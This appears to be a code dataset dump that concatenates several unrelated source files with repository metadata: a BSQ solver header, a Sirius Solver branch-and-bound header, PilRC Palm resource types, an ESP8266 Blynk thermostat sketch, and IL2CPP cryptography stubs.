t_linked_list *ft_get_first_line(t_map *map_info, t_int8 fd);
t_linked_list *create_new_elem(t_linked_list **head, char new_char);
t_bool ft_get_header(t_map *map_info, t_int8 fd);
t_bool ft_strcpy(t_uint8 *old, t_uint8 **new,
t_uint32 starting_index, t_map *map_info);
t_bool ft_store_the_rest(t_int8 fd, t_map *map_info,
t_uint8 **map_str, t_uint32 i);
t_bool ft_store_first_line(t_uint8 **map_str, t_map *map_info,
t_uint8 fd, t_linked_list *linked_list);
t_uint32 **ft_allocate_map(t_map *map_info);
t_uint32 **ft_fill_map(t_map *map_info, t_uint32 **map_grid,
t_uint8 *map_str);
t_uint32 ft_atoi(t_uint8 *str);
void ft_solve(unsigned int **map, t_map *map_info);
void ft_print_map(t_map *map_info, t_uint8 *map_str);
void ft_bsq(t_int8 fd);
void ft_free_map(t_map *map_info, t_uint32 **map_grid,
t_uint8 *map_str);
#endif
| 29.674699 | 80 | 0.505481 |
bd3040e76bf6159071c043122be6733e124da81b | 13,049 | h | C | src/BRANCH_AND_BOUND/bb_define.h | julza03/sirius-solver | 6f8f3d59bb28cc70401ee9fd821903c9b5c3a9a9 | [
"Apache-2.0"
] | 1 | 2021-07-01T07:35:23.000Z | 2021-07-01T07:35:23.000Z | src/BRANCH_AND_BOUND/bb_define.h | julza03/sirius-solver | 6f8f3d59bb28cc70401ee9fd821903c9b5c3a9a9 | [
"Apache-2.0"
] | 1 | 2022-02-14T10:54:47.000Z | 2022-02-14T10:54:47.000Z | src/BRANCH_AND_BOUND/bb_define.h | julza03/sirius-solver | 6f8f3d59bb28cc70401ee9fd821903c9b5c3a9a9 | [
"Apache-2.0"
] | 2 | 2020-08-03T08:49:30.000Z | 2021-01-28T12:57:59.000Z | /*
** Copyright 2007-2018 RTE
** Author: Robert Gonzalez
**
** This file is part of Sirius_Solver.
** This program and the accompanying materials are made available under the
** terms of the Eclipse Public License 2.0 which is available at
** http://www.eclipse.org/legal/epl-2.0.
**
** This Source Code may also be made available under the following Secondary
** Licenses when the conditions for such availability set forth in the Eclipse
** Public License, v. 2.0 are satisfied: GNU General Public License, version 3
** or later, which is available at <http://www.gnu.org/licenses/>.
**
** SPDX-License-Identifier: EPL-2.0 OR GPL-3.0
*/
# ifdef __cplusplus
extern "C"
{
# endif
# ifndef DEFINITIONS_BB_FAITES
/*******************************************************************************************/
# include "bb_sys.h"
#define VERBOSE_BB 0
# define BB_UTILISER_LES_OUTILS_DE_GESTION_MEMOIRE_PROPRIETAIRE
# undef BB_UTILISER_LES_OUTILS_DE_GESTION_MEMOIRE_PROPRIETAIRE
#define PLUS_LINFINI 1.0e+80
#define OUI 1
#define NON 0
#define FILS_GAUCHE 0
#define FILS_DROIT 1
#define BORNE_SUP 1
#define BORNE_INF 2
#define ARRET_CAR_TEMPS_MAXIMUM_ATTEINT 2
#define BB_ERREUR_INTERNE 3
#define A_EVALUER 1
#define EVALUE 2 /* Le noeud a ete evalue */
#define A_REJETER 3 /* Le noeud a ete evalue mais il n'y a pas de solution au probleme relaxe ou bien */
/* le noeud a ete evalue mais lui-meme et son sous-arbre sont sous-optimaux car le */
/* cout de la solution du probleme relaxe est superieur au cout de la meilleure */
/* solution trouvee */
#define PAS_DE_VARIABLES_A_INSTANCIER -1
#define VARIABLES_A_INSTANCIER 1
#define RECHERCHER_LE_PLUS_PETIT 2
#define RECHERCHER_LE_PLUS_PETIT_GAP_PROPORTIONNEL 3
#define PROFONDEUR_PURE 1
#define MOINS_DE_VALEURS_FRACTIONNAIRES 2
#define NORME_FRACTIONNAIRE_MINIMALE 3
#define NOMBRE_DEVALUATIONS_DU_MEILLEUR_MINORANT 10 /*5*/
#define TOLERANCE_OPTIMALITE 0.0000001 /*0.0001*/ /* Pour supprimer une branche il faut que le cout de la solution soit superieur
au cout de la meilleure solution + une petite marge pour tenir compte du fait
que l'optimum est toujours entache d'un petite erreur quand-meme */
#define PROFONDEUR_TOUT_SEUL 1
#define LARGEUR_TOUT_SEUL 2
#define PROFONDEUR_DANS_LARGEUR 3
#define COEFFICIENT_POUR_LE_CALCUL_DE_LA_PROFONDEUR_LIMITE 0.20 /*0.05*/
#define PROFONDEUR_MIN_PENDANT_LA_RECHERCHE_EN_LARGEUR 10 /*10*/
#define PROFONDEUR_MAX_PENDANT_LA_RECHERCHE_EN_LARGEUR 100 /* Pas de limite 1000000 */
#define NOMBRE_MIN_DE_PROBLEMES_PROFONDEUR_DANS_LARGEUR 15
#define CYCLE_POUR_RECHERCHE_EN_PROFONDEUR 2/*5*/ /* Dans une recherche en largeur, a chaque fois qu'on a evalue ce
nombre de problemes, on part dans une recherche en profondeur */
#define MAX_COUPES_PAR_PROBLEME_RELAXE 0.5 /*0.2*/ /*0.5*/ /* Coefficient a appliquer sur le nombre de contraintes du probleme
pour calculer le nombre max. de coupes que l'on s'autorise a
ajouter dans un probleme relaxe */
#define NOMBRE_MAX_DE_COUPES 10000 /*5000*/
#define NOMBRE_MOYEN_MINIMUM_DE_COUPES_UTILES 5
#define TAILLE_MAXI_DU_POOL_DE_COUPES 500000000 /* En octets */
#define CYCLE_DINFORMATIONS 10 /* toutes les 10 secondes */
#define CYCLE_DINFORMATIONS_EN_NOMBRE_DE_PROBLEMES 100
#define CYCLE_DAFFICHAGE_LEGENDE 15
#define NON_INITIALISE 1000000
/* Donnees simplexe pour l'exploration rapide en profondeur */
typedef struct{
char * PositionDeLaVariable;
char * InDualFramework;
int * ContrainteDeLaVariableEnBase;
double * DualPoids;
int * VariableEnBaseDeLaContrainte;
} BASE_SIMPLEXE;
typedef struct{
/* Attention: toutes les coupes sont de type "inferieur ou egal" */
char UtiliserLaCoupe ; /* Information variable qui vaut OUI ou NON selon l'arborscence du noeud en
lequel on veut ajouter une coupe */
char CoupeRencontreeDansLArborescence; /* Information variable qui vaut OUI ou NON selon l'arborscence du noeud en
lequel on veut ajouter une coupe */
char CoupeExamineeAuNoeudCourant;
char CoupeSaturee ; /* Information variable qui vaut OUI_PNE ou NON_PNE selon l'arborscence du noeud en
lequel on veut ajouter une coupe */
/*int VariableCause ;*/ /* Numero de la variable pour laquelle on fait la coupe ( < 0 si c'est pour
pour une autre raison */
char TypeDeCoupe ; /* Type de coupe:
G si coupe de Gomory
K si sac a dos ( Knapsack )
I si coupe d intersection
L si lift and project
I si implication suite au "probing" de certains variables */
char CoupeRacine ; /* Vaut OUI si la coupe a ete generee au noeud racine */
int NombreDeTermes ; /* Nombre de coefficients non nuls dans la coupe */
double * Coefficient ; /* Coefficient de la contrainte */
int * IndiceDeLaVariable ; /* Indices des variables qui interviennent dans la coupe */
double SecondMembre ; /* La coupe est toujours dans le sens <= SecondMembre */
} COUPE;
typedef struct{
/* */
int ProfondeurDuNoeud; /* Le noeud racine a la profondeur 0 */
int StatutDuNoeud ; /* A_EVALUER EVALUE A_REJETER */
int NoeudTerminal ; /* OUI ou NON */
/* */
int NombreDeVariablesEntieresInstanciees ;
char * ValeursDesVariablesEntieresInstanciees; /* vaut '0' ou '1' */
int * IndicesDesVariablesEntieresInstanciees;
/* */
double MinorantPredit;
/* */
double MinorantDuCritereAuNoeud ;
int LaSolutionRelaxeeEstEntiere;
int NbValeursFractionnairesApresResolution;
double NormeDeFractionnalite;
/* */
COUPE ** CoupesGenereesAuNoeud ; /* Tableau de points sur les coupes generees au noeud */
int NombreDeCoupesGenereesAuNoeud;
int NombreDeG;
int NombreDeI;
int NombreDeK;
/* */
int * NumeroDesCoupeAjouteeAuProblemeCourant;
/* */
int NombreDeCoupesExaminees;
int * NumeroDesCoupesExaminees;
char * LaCoupeEstSaturee; /* C'est un resultat de la resolution du probleme relaxe */
/* */
int NombreDeCoupesViolees ; /* Elles n'etaient donc pas incluses dans le probleme */
int * NumeroDesCoupesViolees;
/* */
void * NoeudAntecedent; /* Adresse de la structure du noeud antecedent: inutilise si noeud racine */
void * NoeudSuivantGauche;
void * NoeudSuivantDroit;
/* */
int BaseFournie;
int IndiceDeLaNouvelleVariableInstanciee;
int * PositionDeLaVariable;
int TailleComplementDeBase;
int NbVarDeBaseComplementaires;
int * ComplementDeLaBase;
/* Pour pouvoir disposer d'une base de depart sans coupe dans le cas du nettoyage des
coupes (valable uniquement pour le noeud racine */
int * PositionDeLaVariableSansCoupes;
int NbVarDeBaseComplementairesSansCoupes;
int * ComplementDeLaBaseSansCoupes;
/* Pour le reduced cost fixing */
int NombreDeBornesModifiees;
int * NumeroDeLaVariableModifiee;
char * TypeDeBorneModifiee;
double * NouvelleValeurDeBorne;
/* */
/* Pour l'exploration rapide en profondeur dans le simplexe */
BASE_SIMPLEXE * BaseSimplexeDuNoeud;
/* */
} NOEUD;
typedef struct{
/* Pour les outils de gestion memoire */
void * Tas;
NOEUD * NoeudRacine;
char BaseDisponibleAuNoeudRacine;
double * ValeursOptimalesDesVariables;
double * ValeursOptimalesDesVariablesEntieres;
double CoutDeLaMeilleureSolutionEntiere;
NOEUD * NoeudDeLaMeilleureSolutionEntiere;
int ProfondeurMoyenneDesSolutionsEntieres;
int UtiliserCoutDeLaMeilleureSolutionEntiere;
int ProfondeurMaxiSiPlongeePendantUneRechercheEnLargeur;
double ValeurDuMeilleurMinorant;
double ValeurDuMeilleurPremierMinorant;
double ValeurDuMeilleurDernierMinorant;
int NombreDEvaluationDuMeilleurMinorant;
NOEUD * NoeudDuMeilleurMinorant;
double * ValeursCalculeesDesVariablesPourLeProblemeRelaxeCourant;
double * ValeursCalculeesDesVariablesEntieresPourLeProblemeRelaxeCourant;
/* */
int * NumerosDesVariablesEntieresDuProbleme;
int NombreDeVariablesEntieresDuProbleme;
int NombreDeVariablesDuProbleme;
int NombreDeContraintesDuProbleme;
char ArreterLesCalculs;
int TempsDexecutionMaximum;
char ForcerAffichage;
char AffichageDesTraces;
int NombreMaxDeSolutionsEntieres;
double ToleranceDOptimalite;
char EnleverToutesLesCoupesDuPool;
char SolutionEntiereTrouveeParHeuristique;
NOEUD * NoeudEnExamen;
int NombreDeProblemesRelaxesResolus;
int NombreDeProblemesResolus;
int NombreDeProblemesResolusDepuisLaRAZDesCoupes;
int NombreDeSolutionsEntieresTrouvees;
int NbProbPourLaPremiereSolutionEntiere; /* Nombre de problemes resolus pour trouver la
premiere solution entiere */
int NombreTotalDeCoupesDuPoolUtilisees;
int NombreTotalDeGDuPoolUtilisees;
int NombreTotalDeIDuPoolUtilisees;
int NombreTotalDeKDuPoolUtilisees;
/* Variable a instancier suite a la resolution d'un probleme relaxe */
int VariableProposeePourLInstanciation;
double MinorantEspereAEntierInf;
double MinorantEspereAEntierSup;
int * PositionDeLaVariableAEntierInf;
int NbVarDeBaseComplementairesAEntierInf;
int * ComplementDeLaBaseAEntierInf;
int * PositionDeLaVariableAEntierSup;
int NbVarDeBaseComplementairesAEntierSup;
int * ComplementDeLaBaseAEntierSup;
int BasesFilsDisponibles;
/* Etat de saturation des coupes */
int NombreDeCoupesAjoutees;
char * CoupeSaturee;
char * CoupeSatureeAEntierInf;
char * CoupeSatureeAEntierSup;
int NombreMaxDeCoupesParProblemeRelaxe;
/* Indicateur solution ameliorante trouvee ou non (utilise pendant le balayage
en largeur) */
int SolutionAmelioranteTrouvee;
int NumeroDeProblemeDeLaSolutionAmeliorante;
/* Listes de noeuds a explorer */
int NbNoeuds1_PNE_BalayageEnProfondeur;
NOEUD ** Liste1_PNE_BalayageEnProfondeur;
int NbNoeuds1_PNE_NettoyerLArbreDeLaRechercheEnProfondeur;
NOEUD ** Liste1_PNE_NettoyerLArbreDeLaRechercheEnProfondeur;
int NbNoeuds2_PNE_NettoyerLArbreDeLaRechercheEnProfondeur;
NOEUD ** Liste2_PNE_NettoyerLArbreDeLaRechercheEnProfondeur;
int NbNoeuds1_PNE_BalayageEnLargeur;
NOEUD ** Liste1_PNE_BalayageEnLargeur;
int NbNoeuds2_PNE_BalayageEnLargeur;
NOEUD ** Liste2_PNE_BalayageEnLargeur;
int NbNoeuds1_PNE_EliminerLesNoeudsSousOptimaux;
NOEUD ** Liste1_PNE_EliminerLesNoeudsSousOptimaux;
int NbNoeuds2_PNE_EliminerLesNoeudsSousOptimaux;
NOEUD ** Liste2_PNE_EliminerLesNoeudsSousOptimaux;
int NbNoeuds1_PNE_SupprimerTousLesDescendantsDUnNoeud;
NOEUD ** Liste1_PNE_SupprimerTousLesDescendantsDUnNoeud;
int NbNoeuds2_PNE_SupprimerTousLesDescendantsDUnNoeud;
NOEUD ** Liste2_PNE_SupprimerTousLesDescendantsDUnNoeud;
NOEUD * DernierNoeudResolu;
char ComplementDeBaseModifie;
int MajorantDuNombreDeCoupesAjouteesApresResolutionDuProblemeRelaxe;
char CalculerDesCoupesDeGomory;
char CalculerDesCoupes;
char ControlerLesCoupesNonInclusesPourUnNouvelleResolution;
char TypeDExplorationEnCours; /* Valeurs possible:
PROFONDEUR_TOUT_SEUL
LARGEUR_TOUT_SEUL
PROFONDEUR_DANS_LARGEUR */
char EvaluerLesFilsDuMeilleurMinorant;
double EcartBorneInf;
int AnomalieDetectee;
jmp_buf EnvBB;
char SortieParDepassementDuCoutMax;
int TailleTableau;
/* Un noeud est ferme lorsque ses 2 fils ont ete evalues ou bien lorsqu'il est terminal */
int NbNoeudsOuverts;
/* Infos pour les affichages */
int TempsDuDernierAffichage;
int NombreDeProblemesDepuisLeDernierAffichage;
int NombreDAffichages;
char NbMaxDeCoupesCalculeesAtteint;
int NombreDeNoeudsEvaluesSansCalculdeCoupes;
double EcartBorneInfALArretDesCoupes;
int NombreMaxDeCoupes;
int NombreMoyenMinimumDeCoupesUtiles;
/* Pour calculer la profondeur moyenne d'elagage (pruning) */
int NombreDeNoeudsElagues;
int AveragePruningDepth;
int SommeDesProfondeursDesSolutionsAmeliorantes;
int NombreDeSolutionsAmeliorantes;
int SommeDesProfondeursDElaguage;
int NombreDeSimplexes;
int SommeDuNombreDIterations;
int AverageG;
int AverageI;
int AverageK;
/* */
void * ProblemePneDuBb;
} BB;
/*******************************************************************************************/
# define DEFINITIONS_BB_FAITES
# endif
# ifdef __cplusplus
}
# endif
| 37.605187 | 130 | 0.713005 |
bd30b91f8723031c507ce78faf20283eed942b49 | 3,446 | c | C | any/pilrc-3.2/restype.c | stefan6973/NS-Basic-for-Palm-OS | bb249f2c4c7fb9a05e62e884e02e77d415e8de17 | [
"MIT"
] | 12 | 2021-06-18T21:19:27.000Z | 2022-02-20T14:56:18.000Z | any/pilrc-3.2/restype.c | stefan6973/NS-Basic-for-Palm-OS | bb249f2c4c7fb9a05e62e884e02e77d415e8de17 | [
"MIT"
] | 1 | 2021-07-01T20:09:02.000Z | 2021-07-12T18:02:33.000Z | any/pilrc-3.2/restype.c | stefan6973/NS-Basic-for-Palm-OS | bb249f2c4c7fb9a05e62e884e02e77d415e8de17 | [
"MIT"
] | 5 | 2021-06-19T11:55:17.000Z | 2021-12-17T20:54:13.000Z |
/*
* @(#)restype.c
*
* Copyright 1997-1999, Wes Cherry (mailto:wesc@technosis.com)
* 2000-2003, Aaron Ardiri (mailto:aaron@ardiri.com)
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, please write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* Revisions:
* ==========
*
* 18-Aug-2000 RMa
* creation
* Jan-2001 Regis Nicolas
* Merged 68K and LE32 version into one binary
*/
#include "restype.h"
#include "pilrc.h"
char *kPalmResType[kMaxNumberResType];
/**
* Resource Type initialization based on the target type (68K/LE32).
*/
void
ResTypeInit(void)
{
kPalmResType[0] = "tAIN";
kPalmResType[1] = "tSTR";
kPalmResType[2] = "tver";
kPalmResType[3] = "tAIS";
kPalmResType[4] = "taic";
kPalmResType[5] = "tSTL";
kPalmResType[14] = "MIDI";
kPalmResType[20] = "APPL";
kPalmResType[21] = "TRAP";
kPalmResType[22] = "tTTL";
kPalmResType[23] = "tLBL";
kPalmResType[37] = "tSCH";
kPalmResType[39] = "fnav";
if (vfLE32)
{
kPalmResType[6] = "aaib";
kPalmResType[7] = "abmp";
kPalmResType[8] = "absb";
kPalmResType[9] = "aalt";
kPalmResType[10] = "akbd";
kPalmResType[11] = "amnu";
kPalmResType[12] = "afnt";
kPalmResType[13] = "afti";
kPalmResType[15] = "aclt";
kPalmResType[16] = "acbr";
kPalmResType[17] = "aint";
kPalmResType[18] = "afrm";
kPalmResType[19] = "awrd";
kPalmResType[24] = "aslk";
kPalmResType[25] = "acty";
kPalmResType[26] = "afea";
kPalmResType[27] = "akbd";
kPalmResType[28] = "adwd";
kPalmResType[29] = "abyt";
kPalmResType[30] = "alcs";
kPalmResType[31] = "abda";
kPalmResType[32] = "aprf";
kPalmResType[33] = "aftm";
kPalmResType[34] = "attl";
kPalmResType[35] = "acsl";
kPalmResType[36] = "attb";
kPalmResType[38] = "afnx";
}
else
{
kPalmResType[6] = "tAIB";
kPalmResType[7] = "Tbmp";
kPalmResType[8] = "Tbsb";
kPalmResType[9] = "Talt";
kPalmResType[10] = "tkbd";
kPalmResType[11] = "MBAR";
kPalmResType[12] = "NFNT";
kPalmResType[13] = "fnti";
kPalmResType[15] = "tclt";
kPalmResType[16] = "tcbr";
kPalmResType[17] = "tint";
kPalmResType[18] = "tFRM";
kPalmResType[19] = "wrdl";
kPalmResType[24] = "silk";
kPalmResType[25] = "cnty";
kPalmResType[26] = "feat";
kPalmResType[27] = "tkbd";
kPalmResType[28] = "DLST";
kPalmResType[29] = "BLST";
kPalmResType[30] = "locs";
kPalmResType[31] = "hsbd";
kPalmResType[32] = "pref";
kPalmResType[33] = "fntm";
kPalmResType[34] = "ttli";
kPalmResType[35] = "csli";
kPalmResType[36] = "ttbl";
kPalmResType[38] = "nfnt";
}
}
| 29.452991 | 73 | 0.594312 |
bd32ec1da325d9250beeb9891c77f6ba2530aa93 | 1,343 | h | C | Скетчи Регуляторов для разных датчиков (16.02.2021)/ESP8266 + Blynk/00_V8.2_Termo_Regulator/Blynk.h | EngineeringRoom/-092-Universal-Temperature-Controller-ESP8266-Blynk- | 94da420bdea82aaa0941b9dc86d4fe8588a8a643 | [
"MIT"
] | null | null | null | Скетчи Регуляторов для разных датчиков (16.02.2021)/ESP8266 + Blynk/00_V8.2_Termo_Regulator/Blynk.h | EngineeringRoom/-092-Universal-Temperature-Controller-ESP8266-Blynk- | 94da420bdea82aaa0941b9dc86d4fe8588a8a643 | [
"MIT"
] | null | null | null | Скетчи Регуляторов для разных датчиков (16.02.2021)/ESP8266 + Blynk/00_V8.2_Termo_Regulator/Blynk.h | EngineeringRoom/-092-Universal-Temperature-Controller-ESP8266-Blynk- | 94da420bdea82aaa0941b9dc86d4fe8588a8a643 | [
"MIT"
] | null | null | null | /* Закомментируйте это, чтобы отключить BLYNK_LOG и сэкономить место */
#define BLYNK_PRINT Serial
#include <ESP8266WiFi.h>
#include <BlynkSimpleEsp8266.h>
BlynkTimer timerB; // Объявляем Таймер
#include "Connect.h" // Подключаем вкладку Connect.h
WidgetLED led1(VPIN_StateRelay1); // Объявляем виджет LED
BLYNK_WRITE(VPIN_Ts) {
if (Error==false){
Ts = param.asFloat(); // Получаем значение в виде Float из приложения
// Запись нового значения Уставки в EEPROM
EEPROM.begin(addr);
EEPROM.put(a[a_Ts], Ts);
EEPROM.end();
}
}
// При подключении к Blynk отправим значения на сервер
BLYNK_CONNECTED(){
Blynk.virtualWrite(VPIN_TempIn1, TempIn1);
Blynk.virtualWrite(VPIN_Ts, Ts);
if (StateRelay1) {led1.on();} else {led1.off();}
}
// Отправляем данные в приложение
void SendBlynk(){
if (Error==false){
Blynk.virtualWrite(VPIN_TempIn1, TempIn1); // Температура от датчика
if (StateRelay1) {led1.on();} else {led1.off();} // Состояние Реле
}
}
void setupBlynk(){
// Вызываем функцию подключения к Blynk
reconnectBlynk();
// Настраеваем таймеры
timerB.setInterval(1000, SendBlynk);
IDt_reconnectBlynk = timerB.setInterval(10*1000, reconnectBlynk);
}
void loopBlynk(){
if (Blynk.connected()){ Blynk.run();}
timerB.run();
}
| 25.339623 | 80 | 0.677587 |
bd330a74eafd6b0d85af775ead2473991a67392c | 37,592 | c | C | iOS/UVolFrameworkBuilderv4/uVolPlayerLibrary/Classes/Native/System.Core_CodeGen.c | XRFoundation/Unity-XR-Viewer | f38f3e08e16080f103b0fc517160560e8a6876a0 | [
"MIT"
] | 2 | 2021-09-19T18:24:48.000Z | 2022-01-18T14:45:40.000Z | iOS/UVolFrameworkBuilderv4/uVolPlayerLibrary/Classes/Native/System.Core_CodeGen.c | XRFoundation/Unity-XR-Viewer | f38f3e08e16080f103b0fc517160560e8a6876a0 | [
"MIT"
] | null | null | null | iOS/UVolFrameworkBuilderv4/uVolPlayerLibrary/Classes/Native/System.Core_CodeGen.c | XRFoundation/Unity-XR-Viewer | f38f3e08e16080f103b0fc517160560e8a6876a0 | [
"MIT"
] | 1 | 2021-08-17T05:44:00.000Z | 2021-08-17T05:44:00.000Z | #include "pch-c.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include "codegen/il2cpp-codegen-metadata.h"
// 0x00000001 System.String SR::GetString(System.String)
extern void SR_GetString_mD7FC73A3473F4F165E55F8B4A7088F2E9F9CC412 (void);
// 0x00000002 System.Void System.Security.Cryptography.AesManaged::.ctor()
extern void AesManaged__ctor_m79644F6BCD0E8C2D8BAF1B1E22E90D3C364F5C57 (void);
// 0x00000003 System.Int32 System.Security.Cryptography.AesManaged::get_FeedbackSize()
extern void AesManaged_get_FeedbackSize_mCFE4C56DFF81F5E616CE535AB7D9E37DC1B7A937 (void);
// 0x00000004 System.Byte[] System.Security.Cryptography.AesManaged::get_IV()
extern void AesManaged_get_IV_mB1D7896A5F5E71B8B7938A5DF3A743FC2E444018 (void);
// 0x00000005 System.Void System.Security.Cryptography.AesManaged::set_IV(System.Byte[])
extern void AesManaged_set_IV_m1DBDC4FDAE66A5F2FA99AA4A4E76769BB8897D1E (void);
// 0x00000006 System.Byte[] System.Security.Cryptography.AesManaged::get_Key()
extern void AesManaged_get_Key_m4CC3B2D28A918B935AD42F3F8D54E93A6CB2FA31 (void);
// 0x00000007 System.Void System.Security.Cryptography.AesManaged::set_Key(System.Byte[])
extern void AesManaged_set_Key_m35D61E5FD8942054840B1F24E685E91E3E6CA6E1 (void);
// 0x00000008 System.Int32 System.Security.Cryptography.AesManaged::get_KeySize()
extern void AesManaged_get_KeySize_mBE6EA533BD5978099974A74FF3DE3ECB8B173CD6 (void);
// 0x00000009 System.Void System.Security.Cryptography.AesManaged::set_KeySize(System.Int32)
extern void AesManaged_set_KeySize_m2003A2B9200003C23B544F56E949A0630AA87F93 (void);
// 0x0000000A System.Security.Cryptography.CipherMode System.Security.Cryptography.AesManaged::get_Mode()
extern void AesManaged_get_Mode_mF9D7222B2AB685AC46F4564B6F2247114244AEF6 (void);
// 0x0000000B System.Void System.Security.Cryptography.AesManaged::set_Mode(System.Security.Cryptography.CipherMode)
extern void AesManaged_set_Mode_mA5CF4C1F3B41503C6E09373ADB0B8983A6F61460 (void);
// 0x0000000C System.Security.Cryptography.PaddingMode System.Security.Cryptography.AesManaged::get_Padding()
extern void AesManaged_get_Padding_mD81B3F96D3421F6CD2189A01D65736A9098ACD45 (void);
// 0x0000000D System.Void System.Security.Cryptography.AesManaged::set_Padding(System.Security.Cryptography.PaddingMode)
extern void AesManaged_set_Padding_m6B07EC4A0F1F451417DC0AC64E9D637D7916866B (void);
// 0x0000000E System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesManaged::CreateDecryptor()
extern void AesManaged_CreateDecryptor_m41AE4428FE60C9FD485640F3A09F1BF345452A3C (void);
// 0x0000000F System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesManaged::CreateDecryptor(System.Byte[],System.Byte[])
extern void AesManaged_CreateDecryptor_m7240F8C38B99CE73159DE7455046E951C4900268 (void);
// 0x00000010 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesManaged::CreateEncryptor()
extern void AesManaged_CreateEncryptor_mB2BBCAB8753A59FFB572091D2EF80F287CD951BF (void);
// 0x00000011 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesManaged::CreateEncryptor(System.Byte[],System.Byte[])
extern void AesManaged_CreateEncryptor_m1E4EB80DE75FCF9E940228E1D7664C0EA1378153 (void);
// 0x00000012 System.Void System.Security.Cryptography.AesManaged::Dispose(System.Boolean)
extern void AesManaged_Dispose_mB0D969841D51825F37095A93E73A50C15C1A1477 (void);
// 0x00000013 System.Void System.Security.Cryptography.AesManaged::GenerateIV()
extern void AesManaged_GenerateIV_mBB19651CC37782273A882055D4E63370268F2D91 (void);
// 0x00000014 System.Void System.Security.Cryptography.AesManaged::GenerateKey()
extern void AesManaged_GenerateKey_mF6673B955AE82377595277C6B78C7DA8A16F480E (void);
// 0x00000015 System.Void System.Security.Cryptography.AesCryptoServiceProvider::.ctor()
extern void AesCryptoServiceProvider__ctor_mA9857852BC34D8AB0F463C1AF1837CBBD9102265 (void);
// 0x00000016 System.Void System.Security.Cryptography.AesCryptoServiceProvider::GenerateIV()
extern void AesCryptoServiceProvider_GenerateIV_m18539D5136BA9A2FC71F439150D16E35AD3BF5C4 (void);
// 0x00000017 System.Void System.Security.Cryptography.AesCryptoServiceProvider::GenerateKey()
extern void AesCryptoServiceProvider_GenerateKey_m574F877FD23D1F07033FC035E89BE232303F3502 (void);
// 0x00000018 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesCryptoServiceProvider::CreateDecryptor(System.Byte[],System.Byte[])
extern void AesCryptoServiceProvider_CreateDecryptor_mAB5FB857F549A86D986461C8665BE6B2393305D1 (void);
// 0x00000019 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesCryptoServiceProvider::CreateEncryptor(System.Byte[],System.Byte[])
extern void AesCryptoServiceProvider_CreateEncryptor_m6BF20D5D8424DB627CD3010D9E4C8555C6BD0465 (void);
// 0x0000001A System.Byte[] System.Security.Cryptography.AesCryptoServiceProvider::get_IV()
extern void AesCryptoServiceProvider_get_IV_m6A46F1C255ABE41F98BEE8C0C37D6AFBB9F29D34 (void);
// 0x0000001B System.Void System.Security.Cryptography.AesCryptoServiceProvider::set_IV(System.Byte[])
extern void AesCryptoServiceProvider_set_IV_mCB88C0F651B17F3EC7575F16E14C9E3BD2DB24DB (void);
// 0x0000001C System.Byte[] System.Security.Cryptography.AesCryptoServiceProvider::get_Key()
extern void AesCryptoServiceProvider_get_Key_mAC979BC922E8F1F15B36220E77972AC9CE5D5252 (void);
// 0x0000001D System.Void System.Security.Cryptography.AesCryptoServiceProvider::set_Key(System.Byte[])
extern void AesCryptoServiceProvider_set_Key_m65785032C270005BC120157A0C9D019F6F6BC96F (void);
// 0x0000001E System.Int32 System.Security.Cryptography.AesCryptoServiceProvider::get_KeySize()
extern void AesCryptoServiceProvider_get_KeySize_m3081171DF6C11CA55ECEBA29B9559D18E78D8058 (void);
// 0x0000001F System.Void System.Security.Cryptography.AesCryptoServiceProvider::set_KeySize(System.Int32)
extern void AesCryptoServiceProvider_set_KeySize_mA994D2D3098216C0B8C4F02C0F0A0F63D4256218 (void);
// 0x00000020 System.Int32 System.Security.Cryptography.AesCryptoServiceProvider::get_FeedbackSize()
extern void AesCryptoServiceProvider_get_FeedbackSize_m9DC2E1C3E84CC674ADB2D7E6B06066F333BEC89D (void);
// 0x00000021 System.Security.Cryptography.CipherMode System.Security.Cryptography.AesCryptoServiceProvider::get_Mode()
extern void AesCryptoServiceProvider_get_Mode_m3E1CBFD4D7CE748F3AB615EB88DE1A5D7238285D (void);
// 0x00000022 System.Void System.Security.Cryptography.AesCryptoServiceProvider::set_Mode(System.Security.Cryptography.CipherMode)
extern void AesCryptoServiceProvider_set_Mode_mFE7044929761BABE312D1146B0ED51B331E35D63 (void);
// 0x00000023 System.Security.Cryptography.PaddingMode System.Security.Cryptography.AesCryptoServiceProvider::get_Padding()
extern void AesCryptoServiceProvider_get_Padding_m89D49B05949BA2C6C557EFA5211B4934D279C7AD (void);
// 0x00000024 System.Void System.Security.Cryptography.AesCryptoServiceProvider::set_Padding(System.Security.Cryptography.PaddingMode)
extern void AesCryptoServiceProvider_set_Padding_mD3353CD8F4B931AA00203000140520775643F96E (void);
// 0x00000025 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesCryptoServiceProvider::CreateDecryptor()
extern void AesCryptoServiceProvider_CreateDecryptor_mB1F90A7339DA65542795E17DF9C37810BD088DDF (void);
// 0x00000026 System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.AesCryptoServiceProvider::CreateEncryptor()
extern void AesCryptoServiceProvider_CreateEncryptor_m9555DFFCA344DF06C8B88DDE2EB987B3958EC6BB (void);
// 0x00000027 System.Void System.Security.Cryptography.AesCryptoServiceProvider::Dispose(System.Boolean)
extern void AesCryptoServiceProvider_Dispose_m7123198904819E2BF2B1398E20047B316C3D7D1E (void);
// 0x00000028 System.Void System.Security.Cryptography.AesTransform::.ctor(System.Security.Cryptography.Aes,System.Boolean,System.Byte[],System.Byte[])
extern void AesTransform__ctor_m3903A599E8B2C3F7AB3B70E1258980151D639598 (void);
// 0x00000029 System.Void System.Security.Cryptography.AesTransform::ECB(System.Byte[],System.Byte[])
extern void AesTransform_ECB_m2E2F4E2B307B0D34FEADF38684007E622FCEDFD1 (void);
// 0x0000002A System.UInt32 System.Security.Cryptography.AesTransform::SubByte(System.UInt32)
